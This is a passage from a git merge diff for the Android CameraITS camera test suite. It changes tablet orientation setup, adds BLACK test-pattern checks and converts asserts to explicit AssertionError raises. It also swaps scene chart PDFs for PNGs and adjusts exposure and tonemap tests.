Merge "Add a delay before turning the screen off" into stage-aosp-sc-ts-dev
diff --git a/apps/CameraITS/config.yml b/apps/CameraITS/config.yml
index dd43687..bc35cb1 100644
--- a/apps/CameraITS/config.yml
+++ b/apps/CameraITS/config.yml
@@ -47,3 +47,4 @@
       rotator_cntl: <controller-type>  # can be arduino or canakit
       rotator_ch: <controller-channel>
       camera: <camera-id>
+
diff --git a/apps/CameraITS/tests/its_base_test.py b/apps/CameraITS/tests/its_base_test.py
index c8a4c4c..d488a6f 100644
--- a/apps/CameraITS/tests/its_base_test.py
+++ b/apps/CameraITS/tests/its_base_test.py
@@ -156,7 +156,31 @@
                   format(self.tablet_screen_brightness))
     self.tablet.adb.shell('settings put system screen_off_timeout {}'.format(
         TABLET_DIMMER_TIMEOUT_MS))
+    self.set_tablet_landscape_orientation()
     self.tablet.adb.shell('am force-stop com.google.android.apps.docs')
+    self.tablet.adb.shell('am force-stop com.google.android.apps.photos')
+    self.tablet.adb.shell('am force-stop com.android.gallery3d')
+
+  def set_tablet_landscape_orientation(self):
+    """Sets the screen orientation to landscape.
+    """
+    # Get the landscape orientation value.
+    # This value is different for Pixel C/Huawei/Samsung tablets.
+    output = self.tablet.adb.shell('dumpsys window | grep mLandscapeRotation')
+    logging.debug('dumpsys window output: %s', output.decode('utf-8').strip())
+    output_list = str(output.decode('utf-8')).strip().split(' ')
+    for val in output_list:
+        if 'LandscapeRotation' in val:
+            landscape_val = str(val.split('=')[-1])
+            # For some tablets the values are in constant forms such as ROTATION_90
+            if 'ROTATION_90' in landscape_val:
+                landscape_val = '1'
+            logging.debug('Changing the orientation to landscape mode.')
+            self.tablet.adb.shell(['settings', 'put', 'system', 'user_rotation',
+                                   landscape_val])
+            break
+    logging.debug('Reported tablet orientation is: %d',
+                  int(self.tablet.adb.shell('settings get system user_rotation')))
 
   def parse_hidden_camera_id(self):
     """Parse the string of camera ID into an array.
diff --git a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
index b953f4e..e3336a6 100644
--- a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
+++ b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
@@ -26,44 +26,90 @@
 import its_session_utils
 
 
-_CH_TOL = 4E-3  # ~1/255 DN in [0:1]
+_BW_CH_ATOL = 6  # DN in [0,255]
+_RGB_PRIMARY_MIN = 200
+_RGB_SECONDARY_MAX = 60
+_CH_VARIANCE_ATOL = 30
 _OFF = 0x00000000
 _SAT = 0xFFFFFFFF
 _NAME = os.path.basename(__file__).split('.')[0]
 _SHARPNESS_TOL = 0.1
 _NUM_FRAMES = 4  # buffer a few frames to eliminate need for PER_FRAME_CONTROL
-# frozendict not used below as it requires import on host after port to AOSP
-_BLACK = {'color': 'BLACK', 'RGGB': (_OFF, _OFF, _OFF, _OFF), 'RGB': (0, 0, 0)}
-_WHITE = {'color': 'WHITE', 'RGGB': (_SAT, _SAT, _SAT, _SAT), 'RGB': (1, 1, 1)}
-_RED = {'color': 'RED', 'RGGB': (_SAT, _OFF, _OFF, _OFF), 'RGB': (1, 0, 0)}
-_GREEN = {'color': 'GREEN', 'RGGB': (_OFF, _SAT, _SAT, _OFF), 'RGB': (0, 1, 0)}
-_BLUE = {'color': 'BLUE', 'RGGB': (_OFF, _OFF, _OFF, _SAT), 'RGB': (0, 0, 1)}
+
+_BLACK = {'color': 'BLACK',
+          'RGGB': (_OFF, _OFF, _OFF, _OFF),
+          'RGB': (0, 0, 0)}
+_WHITE = {'color': 'WHITE',
+          'RGGB': (_SAT, _SAT, _SAT, _SAT),
+          'RGB': (255, 255, 255)}
+_RED = {'color': 'RED',
+        'RGGB': (_SAT, _OFF, _OFF, _OFF),
+        'RGB': (255, 0, 0)}
+_GREEN = {'color': 'GREEN',
+          'RGGB': (_OFF, _SAT, _SAT, _OFF),
+          'RGB': (0, 255, 0)}
+_BLUE = {'color': 'BLUE',
+         'RGGB': (_OFF, _OFF, _OFF, _SAT),
+         'RGB': (0, 0, 255)}
+
 _COLORS_CHECKED_RGB = (_BLACK, _WHITE, _RED, _GREEN, _BLUE)
 _COLORS_CHECKED_MONO = (_BLACK, _WHITE)
 _COLORS_CHECKED_UPGRADE = (_BLACK,)
+_COLORS_CHECKED_BLACK = (_WHITE,)  # To make sure testPatternData is ignored
 _FULL_CHECK_FIRST_API_LEVEL = 31
 _SOLID_COLOR_TEST_PATTERN = 1
+_BLACK_TEST_PATTERN = 5
+
+_PATTERN_NAMES = {_SOLID_COLOR_TEST_PATTERN: 'SOLID_COLOR',
+                  _BLACK_TEST_PATTERN: 'BLACK'}
 
 
-def check_solid_color(img, exp_values):
+def check_solid_color(img, exp_values, color):
   """Checks solid color test pattern image matches expected values.
 
   Args:
     img: capture converted to RGB image
     exp_values: list of RGB [0:1] expected values
+    color: str; color to check.
+  Returns:
+    True if any of the checks fail.
   """
-  logging.debug('Checking solid test pattern w/ RGB values %s', str(exp_values))
-  rgb_means = image_processing_utils.compute_image_means(img)
+  test_fail = False
+  logging.debug('Checking %s solid test pattern w/ RGB values %s',
+                color, str(exp_values))
+  rgb_means = [m*255 for m in image_processing_utils.compute_image_means(img)]
   logging.debug('Captured frame averages: %s', str(rgb_means))
-  rgb_vars = image_processing_utils.compute_image_variances(img)
-  logging.debug('Capture frame variances: %s', str(rgb_vars))
-  if not np.allclose(rgb_means, exp_values, atol=_CH_TOL):
-    raise AssertionError('Image not expected value. '
-                         f'RGB means: {rgb_means}, expected: {exp_values}, '
-                         f'ATOL: {_CH_TOL}')
-  if not all(i < _CH_TOL for i in rgb_vars):
-    raise AssertionError(f'Image has too much variance. '
-                         f'RGB variances: {rgb_vars}, ATOL: {_CH_TOL}')
+  rgb_vars = [v*255*255 for v in
+              image_processing_utils.compute_image_variances(img)]
+  logging.debug('Captured frame variances: %s', str(rgb_vars))
+  if color in ['BLACK', 'WHITE']:
+    if not np.allclose(rgb_means, exp_values, atol=_BW_CH_ATOL):
+      logging.error('Image not expected value for color %s. '
+                    'RGB means: %s, expected: %s, ATOL: %d',
+                    color, str(rgb_means), str(exp_values), _BW_CH_ATOL)
+      test_fail = True
+  else:
+    exp_values_mask = np.array(exp_values)//255
+    primary = max(rgb_means*exp_values_mask)
+    secondary = max((1-exp_values_mask)*rgb_means)
+    if primary < _RGB_PRIMARY_MIN:
+      logging.error('Primary color %s not bright enough.'
+                    'RGB means: %s, expected: %s, MIN: %d',
+                    color, str(rgb_means), str(exp_values), _RGB_PRIMARY_MIN)
+      test_fail = True
+    if secondary > _RGB_SECONDARY_MAX:
+      logging.error('Secondary colors too bright in %s. '
+                    'RGB means: %s, expected: %s, MAX: %d',
+                    color, str(rgb_means), str(exp_values), _RGB_SECONDARY_MAX)
+      test_fail = True
+
+  if not all(i < _CH_VARIANCE_ATOL for i in rgb_vars):
+    logging.error('Image has too much variance for color %s. '
+                  'RGB variances: %s, ATOL: %d',
+                  color, str(rgb_vars), _CH_VARIANCE_ATOL)
+    test_fail = True
+
+  return test_fail
 
 
 class SolidColorTestPattern(its_base_test.ItsBaseTest):
@@ -78,6 +124,7 @@
     2: COLOR_BARS
     3: COLOR_BARS_FADE_TO_GREY
     4: PN9
+    5: BLACK
   """
 
   def test_solid_color_test_pattern(self):
@@ -88,25 +135,29 @@
       props = cam.get_camera_properties()
       props = cam.override_with_hidden_physical_camera_props(props)
 
-      # Determine patterns to check based on API level
+      # Determine patterns to check based on API level and test pattern
       first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
       if first_api_level >= _FULL_CHECK_FIRST_API_LEVEL:
         if camera_properties_utils.mono_camera(props):
-          colors_checked = _COLORS_CHECKED_MONO
+          colors_checked_solid = _COLORS_CHECKED_MONO
         else:
-          colors_checked = _COLORS_CHECKED_RGB
+          colors_checked_solid = _COLORS_CHECKED_RGB
       else:
-        colors_checked = _COLORS_CHECKED_UPGRADE
+        colors_checked_solid = _COLORS_CHECKED_UPGRADE
+
+      # Determine which patterns are available to test on the device
+      available_patterns = set(props[
+          'android.sensor.availableTestPatternModes'])
+      patterns_to_check = available_patterns.intersection(
+          {_SOLID_COLOR_TEST_PATTERN, _BLACK_TEST_PATTERN})
 
       # Determine if test is run or skipped
-      available_patterns = props['android.sensor.availableTestPatternModes']
       if cam.is_camera_privacy_mode_supported():
-        if _SOLID_COLOR_TEST_PATTERN not in available_patterns:
-          raise AssertionError(
-              'SOLID_COLOR not in android.sensor.availableTestPatternModes.')
+        if not patterns_to_check:
+          raise AssertionError('neither SOLID_COLOR or BLACK are '
+                               'in android.sensor.availableTestPatternModes.')
       else:
-        camera_properties_utils.skip_unless(
-            _SOLID_COLOR_TEST_PATTERN in available_patterns)
+        camera_properties_utils.skip_unless(patterns_to_check)
 
       # Take extra frames if no per-frame control
       if camera_properties_utils.per_frame_control(props):
@@ -114,28 +165,57 @@
       else:
         num_frames = _NUM_FRAMES
 
+      test_failed = False
+      colors_failed = []
       # Start checking patterns
-      for color in colors_checked:
-        logging.debug('Assigned RGGB values %s',
-                      str([int(c/_SAT) for c in color['RGGB']]))
-        req = capture_request_utils.auto_capture_request()
-        req['android.sensor.testPatternMode'] = camera_properties_utils.SOLID_COLOR_TEST_PATTERN
-        req['android.sensor.testPatternData'] = color['RGGB']
-        fmt = {'format': 'yuv'}
-        caps = cam.do_capture([req]*num_frames, fmt)
-        cap = caps[-1]
-        logging.debug('Capture metadata RGGB testPatternData: %s',
-                      str(cap['metadata']['android.sensor.testPatternData']))
-        # Save test pattern image
-        img = image_processing_utils.convert_capture_to_rgb_image(
-            cap, props=props)
-        image_processing_utils.write_image(
-            img, f'{os.path.join(self.log_path, _NAME)}.jpg', True)
+      for pattern in patterns_to_check:
+        if pattern == _SOLID_COLOR_TEST_PATTERN:
+          colors_checked = colors_checked_solid
+        else:
+          colors_checked = _COLORS_CHECKED_BLACK
 
-        # Check solid pattern for correctness
-        check_solid_color(img, color['RGB'])
-        logging.debug('Solid color test pattern %s is a PASS', color['color'])
+        captured_pattern = _PATTERN_NAMES[pattern]
+        # Start checking colors
+        for color in colors_checked:
+          logging.debug('Assigned RGGB values %s',
+                        str([int(c/_SAT) for c in color['RGGB']]))
+          req = capture_request_utils.auto_capture_request()
+          req['android.sensor.testPatternMode'] = pattern
+          req['android.sensor.testPatternData'] = color['RGGB']
+          fmt = {'format': 'yuv'}
+          caps = cam.do_capture([req]*num_frames, fmt)
+          cap = caps[-1]
+          logging.debug('Capture metadata RGGB pattern: %s, '
+                        'testPatternData: %s', captured_pattern,
+                        str(cap['metadata']['android.sensor.testPatternData']))
+          # Save test pattern image
+          img = image_processing_utils.convert_capture_to_rgb_image(
+              cap, props=props)
+          captured_color = color['color']
+          image_processing_utils.write_image(
+              img,
+              f'{os.path.join(self.log_path, _NAME)}_{captured_color}_'
+              f'{captured_pattern}.jpg')
 
+          # Check solid pattern for correctness
+          if pattern == _SOLID_COLOR_TEST_PATTERN:
+            color_test_failed = check_solid_color(img, color['RGB'],
+                                                  captured_color)
+          else:
+            color_test_failed = check_solid_color(img, _BLACK['RGB'],
+                                                  _BLACK['color'])
+
+          if color_test_failed:
+            colors_failed.append(f'{captured_pattern}/{captured_color}')
+            if not test_failed:
+              test_failed = True
+
+          logging.debug('Solid color test pattern for pattern %s color %s '
+                        'is a %s', captured_pattern, captured_color,
+                        ('FAIL' if color_test_failed else 'PASS'))
+      if test_failed:
+        raise AssertionError('Test solid_color_test_pattern failed for colors:'
+                             f'{colors_failed}')
 
 if __name__ == '__main__':
   test_runner.main()
diff --git a/apps/CameraITS/tests/scene0/test_test_patterns.py b/apps/CameraITS/tests/scene0/test_test_patterns.py
index ea1e435..dbf1ee2 100644
--- a/apps/CameraITS/tests/scene0/test_test_patterns.py
+++ b/apps/CameraITS/tests/scene0/test_test_patterns.py
@@ -27,7 +27,7 @@
 
 
 NAME = os.path.basename(__file__).split('.')[0]
-CHECKED_PATTERNS = [1, 2]  # [SOLID_COLOR, COLOR_BARS]
+CHECKED_PATTERNS = [1, 2, 5]  # [SOLID_COLOR, COLOR_BARS, BLACK]
 COLOR_BAR_ORDER = ['WHITE', 'YELLOW', 'CYAN', 'GREEN', 'MAGENTA', 'RED',
                    'BLUE', 'BLACK']
 COLOR_CHECKER = {'BLACK': [0, 0, 0], 'RED': [1, 0, 0], 'GREEN': [0, 1, 0],
@@ -110,7 +110,7 @@
   Returns:
     True/False
   """
-  if pattern == 1:  # solid color
+  if pattern == 1 or pattern == 5:  # solid color or black
     return check_solid_color(cap, props)
   elif pattern == 2:  # color bars
     striped = check_color_bars(cap, props, mirror=False)
@@ -170,6 +170,7 @@
     2: COLOR_BARS
     3: COLOR_BARS_FADE_TO_GREY
     4: PN9
+    5: BLACK (test/system only)
   """
 
   def test_test_patterns(self):
diff --git a/apps/CameraITS/tests/scene1_1/scene1_1.pdf b/apps/CameraITS/tests/scene1_1/scene1_1.pdf
deleted file mode 100644
index 7e47bcf..0000000
--- a/apps/CameraITS/tests/scene1_1/scene1_1.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_1/scene1_1.png b/apps/CameraITS/tests/scene1_1/scene1_1.png
new file mode 100644
index 0000000..4a53cde
--- /dev/null
+++ b/apps/CameraITS/tests/scene1_1/scene1_1.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_1/scene1_1_0.33x_scaled.png b/apps/CameraITS/tests/scene1_1/scene1_1_0.33x_scaled.png
new file mode 100644
index 0000000..3bb1a3c
--- /dev/null
+++ b/apps/CameraITS/tests/scene1_1/scene1_1_0.33x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_1/scene1_1_0.5x_scaled.pdf b/apps/CameraITS/tests/scene1_1/scene1_1_0.5x_scaled.pdf
deleted file mode 100644
index 4bf85ee..0000000
--- a/apps/CameraITS/tests/scene1_1/scene1_1_0.5x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_1/scene1_1_0.5x_scaled.png b/apps/CameraITS/tests/scene1_1/scene1_1_0.5x_scaled.png
new file mode 100644
index 0000000..bb35eca
--- /dev/null
+++ b/apps/CameraITS/tests/scene1_1/scene1_1_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_1/scene1_1_0.67x_scaled.pdf b/apps/CameraITS/tests/scene1_1/scene1_1_0.67x_scaled.pdf
deleted file mode 100644
index a9a2fbc..0000000
--- a/apps/CameraITS/tests/scene1_1/scene1_1_0.67x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_1/scene1_1_0.67x_scaled.png b/apps/CameraITS/tests/scene1_1/scene1_1_0.67x_scaled.png
new file mode 100644
index 0000000..6fe984e
--- /dev/null
+++ b/apps/CameraITS/tests/scene1_1/scene1_1_0.67x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
index e51f4fa..4f589ce 100644
--- a/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
+++ b/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
@@ -124,7 +124,10 @@
           if cap['metadata']['android.control.aeState'] == LOCKED:
             lumas.append(extract_luma_from_capture(cap))
             break
-          assert cap['metadata']['android.control.aeState'] == LOCKED
+        if caps[THRESH_CONVERGE_FOR_EV-1]['metadata'][
+            'android.control.aeState'] != LOCKED:
+          raise AssertionError('AE does not reach locked state in '
+                               f'{THRESH_CONVERGE_FOR_EV} frames.')
         logging.debug('lumas in AE locked captures: %s', str(lumas))
 
       i_mid = len(ev_steps) // 2
@@ -149,8 +152,11 @@
           'Max delta between modeled and measured lumas: %.4f', max_diff)
       logging.debug(
           'Avg delta between modeled and measured lumas: %.4f', avg_diff)
-      assert max_diff < LUMA_DELTA_THRESH, 'diff: %.3f, THRESH: %.2f' % (
-          max_diff, LUMA_DELTA_THRESH)
+      if max_diff > LUMA_DELTA_THRESH:
+        raise AssertionError(f'Max delta between modeled and measured '
+                             f'lumas: {max_diff:.3f}, '
+                             f'TOL: {LUMA_DELTA_THRESH}.')
+
 
 if __name__ == '__main__':
   test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
index 5c892c1..379cc11 100644
--- a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
+++ b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
@@ -15,6 +15,7 @@
 
 
 import logging
+import math
 import os.path
 import matplotlib
 from matplotlib import pylab
@@ -69,6 +70,8 @@
       props = cam.get_camera_properties()
       props = cam.override_with_hidden_physical_camera_props(props)
       log_path = self.log_path
+      debug = self.debug_mode
+      test_name_w_path = os.path.join(log_path, NAME)
 
       # check SKIP conditions
       camera_properties_utils.skip_unless(
@@ -103,18 +106,24 @@
         caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
         luma_locked = []
         for i, cap in enumerate(caps):
+          if debug:
+            img = image_processing_utils.convert_capture_to_rgb_image(
+                cap, props)
+            image_processing_utils.write_image(
+                img, f'{test_name_w_path}_ev{ev}_frame{i}.jpg')
           if cap['metadata']['android.control.aeState'] == LOCKED:
             luma = extract_luma_from_capture(cap)
             luma_locked.append(luma)
             if i == THRESH_CONVERGE_FOR_EV-1:
               lumas.append(luma)
-              msg = 'AE locked lumas: %s, RTOL: %.2f' % (
-                  str(luma_locked), LUMA_LOCKED_TOL)
-              assert np.isclose(min(luma_locked), max(luma_locked),
-                                rtol=LUMA_LOCKED_TOL), msg
+              if not math.isclose(min(luma_locked), max(luma_locked),
+                                  rel_tol=LUMA_LOCKED_TOL):
+                raise AssertionError(f'AE locked lumas: {luma_locked}, '
+                                     f'RTOL: {LUMA_LOCKED_TOL}')
       logging.debug('lumas in AE locked captures: %s', str(lumas))
-      assert caps[THRESH_CONVERGE_FOR_EV-1]['metadata'][
-          'android.control.aeState'] == LOCKED
+      if caps[THRESH_CONVERGE_FOR_EV-1]['metadata'][
+          'android.control.aeState'] != LOCKED:
+        raise AssertionError(f'No AE lock by {THRESH_CONVERGE_FOR_EV} frame.')
 
     # Create plot
     pylab.figure(NAME)
@@ -122,8 +131,7 @@
     pylab.title(NAME)
     pylab.xlabel('EV Compensation')
     pylab.ylabel('Mean Luma (Normalized)')
-    matplotlib.pyplot.savefig(
-        '%s_plot_means.png' % os.path.join(log_path, NAME))
+    matplotlib.pyplot.savefig(f'{test_name_w_path}_plot_means.png')
 
     # Trim extra saturated images
     while (lumas[-2] >= YUV_SAT_MIN/YUV_FULL_SCALE and
@@ -133,14 +141,18 @@
       logging.debug('Removed saturated image.')
 
     # Only allow positive EVs to give saturated image
-    e_msg = '>%d unsaturated images needed.' % (NUM_UNSATURATED_EVS-1)
-    assert len(lumas) >= NUM_UNSATURATED_EVS, e_msg
+    if len(lumas) < NUM_UNSATURATED_EVS:
+      raise AssertionError(
+          f'>{NUM_UNSATURATED_EVS-1} unsaturated images needed.')
     min_luma_diffs = min(np.diff(lumas))
     logging.debug('Min of luma value difference between adjacent ev comp: %.3f',
                   min_luma_diffs)
 
     # Assert unsaturated lumas increasing with increasing ev comp.
-    assert min_luma_diffs > 0, 'Luma is not increasing! lumas %s' % str(lumas)
+    if min_luma_diffs <= 0:
+      raise AssertionError('Lumas not increasing with ev comp! '
+                           f'EVs: {list(evs)}, lumas: {lumas}')
+
 
 if __name__ == '__main__':
   test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_1/test_exposure.py b/apps/CameraITS/tests/scene1_1/test_exposure.py
index dc01918..1419b91 100644
--- a/apps/CameraITS/tests/scene1_1/test_exposure.py
+++ b/apps/CameraITS/tests/scene1_1/test_exposure.py
@@ -187,6 +187,7 @@
       raw_avlb = (camera_properties_utils.raw16(props) and
                   camera_properties_utils.manual_sensor(props))
       sync_latency = camera_properties_utils.sync_latency(props)
+      logging.debug('sync latency: %d frames', sync_latency)
       largest_yuv = capture_request_utils.get_largest_yuv_format(props)
       match_ar = (largest_yuv['width'], largest_yuv['height'])
       fmt = capture_request_utils.get_smallest_yuv_format(
@@ -201,30 +202,29 @@
       # Do captures with a range of exposures, but constant s*e
       while s*m < sens_range[1] and e/m > expt_range[0]:
         mults.append(m)
-        s_test = round(s * m)
-        e_test = s_e_product // s_test
-        logging.debug('Testing s: %d, e: %dns', s_test, e_test)
+        s_req = round(s * m)
+        e_req = s_e_product // s_req
+        logging.debug('Testing s: %d, e: %dns', s_req, e_req)
         req = capture_request_utils.manual_capture_request(
-            s_test, e_test, 0.0, True, props)
+            s_req, e_req, 0.0, True, props)
         cap = its_session_utils.do_capture_with_latency(
             cam, req, sync_latency, fmt)
         s_res = cap['metadata']['android.sensor.sensitivity']
         e_res = cap['metadata']['android.sensor.exposureTime']
         # determine exposure tolerance based on exposure time
-        if e_test >= THRESH_EXP_KNEE:
+        if e_req >= THRESH_EXP_KNEE:
           thresh_round_down_exp = THRESH_ROUND_DOWN_EXP
         else:
           thresh_round_down_exp = (
               THRESH_ROUND_DOWN_EXP +
               (THRESH_ROUND_DOWN_EXP0 - THRESH_ROUND_DOWN_EXP) *
-              (THRESH_EXP_KNEE - e_test) / THRESH_EXP_KNEE)
-        if not 0 <= s_test - s_res < s_test * THRESH_ROUND_DOWN_GAIN:
-          raise AssertionError(f's_write: {s_test}, s_read: {s_res}, '
-                               f'TOL={THRESH_ROUND_DOWN_GAIN*100}%')
-        if not 0 <= e_test - e_res < e_test * thresh_round_down_exp:
-          raise AssertionError(f'e_write: {e_test/1.0E6:.3f}ms, '
-                               f'e_read: {e_res/1.0E6:.3f}ms, '
-                               f'TOL={thresh_round_down_exp*100}%')
+              (THRESH_EXP_KNEE - e_req) / THRESH_EXP_KNEE)
+        if not 0 <= s_req - s_res < s_req * THRESH_ROUND_DOWN_GAIN:
+          raise AssertionError(f's_req: {s_req}, s_res: {s_res}, '
+                               f'TOL=-{THRESH_ROUND_DOWN_GAIN*100}%')
+        if not 0 <= e_req - e_res < e_req * thresh_round_down_exp:
+          raise AssertionError(f'e_req: {e_req}ns, e_res: {e_res}ns, '
+                               f'TOL=-{thresh_round_down_exp*100}%')
         s_e_product_res = s_res * e_res
         req_res_ratio = s_e_product / s_e_product_res
         logging.debug('Capture result s: %d, e: %dns', s_res, e_res)
diff --git a/apps/CameraITS/tests/scene1_1/test_param_flash_mode.py b/apps/CameraITS/tests/scene1_1/test_param_flash_mode.py
index 6fede89..601b7fb 100644
--- a/apps/CameraITS/tests/scene1_1/test_param_flash_mode.py
+++ b/apps/CameraITS/tests/scene1_1/test_param_flash_mode.py
@@ -25,6 +25,7 @@
 import its_session_utils
 import target_exposure_utils
 
+CHART_DISTANCE_NO_SCALING = 100  # 1 meter to disable scaling
 FLASH_MODES = {'OFF': 0, 'SINGLE': 1, 'TORCH': 2}
 FLASH_STATES = {'UNAVAIL': 0, 'CHARGING': 1, 'READY': 2, 'FIRED': 3,
                 'PARTIAL': 4}
@@ -66,7 +67,7 @@
 
       # Load chart for scene
       its_session_utils.load_scene(
-          cam, props, self.scene, self.tablet, self.chart_distance)
+          cam, props, self.scene, self.tablet, CHART_DISTANCE_NO_SCALING)
 
       modes = []
       states = []
diff --git a/apps/CameraITS/tests/scene1_2/scene1_2.pdf b/apps/CameraITS/tests/scene1_2/scene1_2.pdf
deleted file mode 100644
index 7e47bcf..0000000
--- a/apps/CameraITS/tests/scene1_2/scene1_2.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_2/scene1_2.png b/apps/CameraITS/tests/scene1_2/scene1_2.png
new file mode 100644
index 0000000..4a53cde
--- /dev/null
+++ b/apps/CameraITS/tests/scene1_2/scene1_2.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_2/scene1_2_0.33x_scaled.png b/apps/CameraITS/tests/scene1_2/scene1_2_0.33x_scaled.png
new file mode 100644
index 0000000..3bb1a3c
--- /dev/null
+++ b/apps/CameraITS/tests/scene1_2/scene1_2_0.33x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_2/scene1_2_0.5x_scaled.pdf b/apps/CameraITS/tests/scene1_2/scene1_2_0.5x_scaled.pdf
deleted file mode 100644
index 4bf85ee..0000000
--- a/apps/CameraITS/tests/scene1_2/scene1_2_0.5x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_2/scene1_2_0.5x_scaled.png b/apps/CameraITS/tests/scene1_2/scene1_2_0.5x_scaled.png
new file mode 100644
index 0000000..bb35eca
--- /dev/null
+++ b/apps/CameraITS/tests/scene1_2/scene1_2_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_2/scene1_2_0.67x_scaled.pdf b/apps/CameraITS/tests/scene1_2/scene1_2_0.67x_scaled.pdf
deleted file mode 100644
index a9a2fbc..0000000
--- a/apps/CameraITS/tests/scene1_2/scene1_2_0.67x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_2/scene1_2_0.67x_scaled.png b/apps/CameraITS/tests/scene1_2/scene1_2_0.67x_scaled.png
new file mode 100644
index 0000000..6fe984e
--- /dev/null
+++ b/apps/CameraITS/tests/scene1_2/scene1_2_0.67x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene1_2/test_tonemap_sequence.py b/apps/CameraITS/tests/scene1_2/test_tonemap_sequence.py
index fa13835..760fa1e 100644
--- a/apps/CameraITS/tests/scene1_2/test_tonemap_sequence.py
+++ b/apps/CameraITS/tests/scene1_2/test_tonemap_sequence.py
@@ -28,23 +28,26 @@
 _MAX_DELTA_SAME = 0.03  # match number in test_burst_sameness_manual
 _MIN_DELTA_DIFF = 0.10
 _NAME = os.path.splitext(os.path.basename(__file__))[0]
-_NUM_FRAMES = 3
+_NUM_CAPTURES = 3
+_NUM_FRAMES_PER_CAPTURE = 8
 _PATCH_H = 0.1  # center 10%
 _PATCH_W = 0.1
 _PATCH_X = 0.5 - _PATCH_W/2
 _PATCH_Y = 0.5 - _PATCH_H/2
 _RGB_G_CH = 1
-_TMAP_NO_DELTA_FRAMES = list(range(_NUM_FRAMES-1)) + list(
-    range(_NUM_FRAMES, 2*_NUM_FRAMES-1))
+_TMAP_NO_DELTA_FRAMES = list(range(_NUM_CAPTURES-1)) + list(
+    range(_NUM_CAPTURES, 2*_NUM_CAPTURES-1))
 
 
-def do_captures_and_extract_means(cam, req, fmt, tonemap, log_path):
+def do_captures_and_extract_means(
+    cam, req, fmt, num_frames_per_cap, tonemap, log_path):
   """Do captures, save image and extract means from center patch.
 
   Args:
     cam: camera object.
     req: camera request.
     fmt: capture format.
+    num_frames_per_cap: int; number of frames per capture
     tonemap: string to determine 'linear' or 'default' tonemap.
     log_path: location to save images.
 
@@ -52,9 +55,10 @@
     appended means list.
   """
   green_means = []
-  for i in range(_NUM_FRAMES):
-    cap = cam.do_capture(req, fmt)
-    img = image_processing_utils.convert_capture_to_rgb_image(cap)
+
+  for i in range(_NUM_CAPTURES):
+    cap = cam.do_capture([req]*num_frames_per_cap, fmt)
+    img = image_processing_utils.convert_capture_to_rgb_image(cap[-1])
     image_processing_utils.write_image(
         img, '%s_%s_%d.jpg' % (os.path.join(log_path, _NAME), tonemap, i))
     patch = image_processing_utils.get_image_patch(
@@ -68,11 +72,11 @@
 class TonemapSequenceTest(its_base_test.ItsBaseTest):
   """Tests a sequence of shots with different tonemap curves.
 
-  There should be _NUM_FRAMES with a linear tonemap followed by a second set of
-  _NUM_FRAMES with the default tonemap.
+  There should be _NUM_CAPTURES with a linear tonemap followed by a second set
+  of _NUM_CAPTURES with the default tonemap.
 
-  asserts the frames in each _NUM_FRAMES bunch are similar
-  asserts the frames in the 2 _NUM_FRAMES bunches are different by >10%
+  asserts the frames in each _NUM_CAPTURES bunch are similar
+  asserts the frames in the 2 _NUM_CAPTURES bunches are different by >10%
   """
 
   def test_tonemap_sequence(self):
@@ -84,48 +88,65 @@
       props = cam.get_camera_properties()
       props = cam.override_with_hidden_physical_camera_props(props)
       camera_properties_utils.skip_unless(
-          camera_properties_utils.manual_sensor(props) and
-          camera_properties_utils.manual_post_proc(props) and
-          camera_properties_utils.per_frame_control(props) and
-          not camera_properties_utils.mono_camera(props))
+          not camera_properties_utils.mono_camera(props) and
+          camera_properties_utils.linear_tonemap(props))
       log_path = self.log_path
 
       # Load chart for scene
       its_session_utils.load_scene(
           cam, props, self.scene, self.tablet, self.chart_distance)
 
+      # define formats
       largest_yuv = capture_request_utils.get_largest_yuv_format(props)
       match_ar = (largest_yuv['width'], largest_yuv['height'])
       fmt = capture_request_utils.get_smallest_yuv_format(
           props, match_ar=match_ar)
-      sens, exp, _, _, f_dist = cam.do_3a(do_af=True, get_results=True)
       means = []
 
-      # linear tonemap req & captures
-      req = capture_request_utils.manual_capture_request(
-          sens, exp, f_dist, True, props)
-      means.extend(do_captures_and_extract_means(
-          cam, req, fmt, 'linear', log_path))
+      # set params based on per_frame_control & read_3a
+      manual_and_per_frame_control = (
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.read_3a(props))
+      if manual_and_per_frame_control:
+        logging.debug('PER_FRAME_CONTROL supported.')
+        num_frames_per_cap = 1
+        sens, exp, _, _, f_dist = cam.do_3a(do_af=True, get_results=True)
+      else:
+        logging.debug('PER_FRAME_CONTROL not supported.')
+        num_frames_per_cap = _NUM_FRAMES_PER_CAPTURE
+        cam.do_3a()
 
-      # default tonemap req & captures
-      req = capture_request_utils.manual_capture_request(
-          sens, exp, f_dist, False)
-      means.extend(do_captures_and_extract_means(
-          cam, req, fmt, 'default', log_path))
